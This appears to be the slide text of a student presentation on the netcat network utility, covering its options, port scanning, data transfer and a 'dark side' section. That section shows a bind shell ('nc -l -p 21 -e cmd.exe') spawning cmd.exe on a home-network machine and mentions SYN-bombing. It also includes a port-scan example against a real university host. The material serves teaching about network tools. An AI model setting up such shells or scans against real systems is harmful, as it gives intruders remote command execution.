Netcat

Purpose of Presentation…?
 Analyze the network
 Identify the network security issues
How to do it …?
First Step  Research the Network

Tools for Research
 Information Gathering tools
 Forensic tools
 Network Utility tools
 Password Auditing tools
 Recovery And Restoration Tools
 Vulnerability Scanning & Analysis tools

What is netcat ?
 Swiss Army Knife of Network
 A versatile network Utility tool
 Uses TCP and UDP protocol
 Designed as a backend tool
Can be used directly
Driven by other programs

Power of netcat
 Can create Outbound or Inbound
connections TCP or UDP to or from any
ports
 Full DNS forward reverse checking
 Can use any local port
 Can use any locally configured network
address
 Port scanning with randomizer
 Option to let other program service
establish connections
 Optional telnet responder

How Do I use netcat ?
 General form of usage is
nc [switches] [hostname] [portnumber]
 Simplest Usage would be
nc –v www.msn.com 80
Use GET method GET / HTTP/1.0
 Hostname can be a name or IP
Address

 Use of –n switch
 If not specified performs forward and reverse
DNS look up
 Reports the problem of mismatched names in
DNS
D:toolsnc>nc -v www.hotmail.com 80
DNS fwd/rev mismatch: www.hotmail.com != hotmail.se
DNS fwd/rev mismatch: www.hotmail.com !=
ld.cb.msn.com
DNS fwd/rev mismatch: www.hotmail.com !=
ld.cb.msn.com
www.hotmail.com [207.68.171.233] 80 (http) open
IF specified will take only IPAddress as hostname
argument

Options
 -v
Controls the verbosity level
 -w <seconds>
Sets the network inactivity timeout
 -p <port number>
Binds the connection to specific port
number

Options
 -o <file name>
To obtain hexdump file of data sent
either way
 -l
Makes netcat wait for inbound
connections
And once connection is established it
transfers the data

Interesting -l
 Can use to create like a listening
netcat server
 On listening end
D:toolsnc>nc –l -p 1234 < test.txt
 On client end
D:toolsnc>nc 192.168.0.100 1234

Options
 -L
Listen harder
 -r
Randomize port numbers
 -z
Zero – I/O mode [used in scanning]

Options
 -e <program name>
Allows to execute a program
(dangerous)
 -d
Allows to run in detached mode
without console window
 -u
Makes a UDP connection instead of
TCP connection

Options
 -s <address>
Local source address
 -i <seconds>
Specifies delay interval for lines sent
or ports scanned
 -t
Answer telnet negotiation

Put the Knife to Use
 Use It GOOD
 Use It BAD

USE IT GOOD
 Port Scanning
Find what is out there
• nc –v –w 5 –r davinci.newcs.uwindsor.ca 20-30

D:toolsnc>nc -v -w 5 -r davinci.newcs.uwindsor.ca 20-30
davinci.newcs.uwindsor.ca [137.207.76.3] 22 (?) open
SSH-2.0-Sun_SSH_1.0
davinci.newcs.uwindsor.ca [137.207.76.3] 20 (ftp-data) open
davinci.newcs.uwindsor.ca [137.207.76.3] 23 (telnet) open
internet2 proxy-telnet [v3.1] ready
√☺Please enter your userid: davinci.newcs.uwindsor.ca [137.207.76.3] 24 (?)
open
davinci.newcs.uwindsor.ca [137.207.76.3] 25 (smtp) open
220-Sendmail 8.6.12/8.6.12 ready on internet2
220 ESMTP spoken here
davinci.newcs.uwindsor.ca [137.207.76.3] 21 (ftp) open
220- internet2 proxy-ftp [v3.1] ready
220 Please enter your userid
D:toolsnc>

USE IT GOOD
 Simple Data Transfer Agent
Immaterial which side is server and
which side is client
Input at one goes as output to another
 HEX Dump Feature
Can be used to analyze odd network
protocols

USE IT GOOD
 Performance Testing
 Generate large amount of useless data on
network with server on one end and client on
other end we can use it to test network
performance.
 Protect your workstations X server

DARK SIDE
 Scanning for vulnerable services
Can use files as input to netcat and
scan the system by using –i and –r
switches
 Can use –e option to execute
programs
 SYN-Bombing
Can disable TCP servers

EXAMPLE
 Listen on port 21 (FTP Port) using
netcat with –e switch to execute
cmd.exe
 FTP request made from a different
machine on the listener machine

RESULT
D:toolsnc>nc -l -p 21 -e cmd.exe
LISTENER
C:Documents and SettingsRAJAT>ftp 192.168.0.100
Connected to 192.168.0.100.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
D:toolsnc>
Request

Environment
 Local Home Network
ISP --- Cogeco
Three PC’s OS Windows XP
Connected via DLink Router
Cat 5 connecting cables used

Conclusion
 Netcat is a very useful network utility
tool
 Very light but extremely effective
 Particularly when it can listen and
execute programs when connection
requests are made on the specific
ports

Credits
 Chris Wysopal
 Hobbit
 www.atstake.com

Netcat

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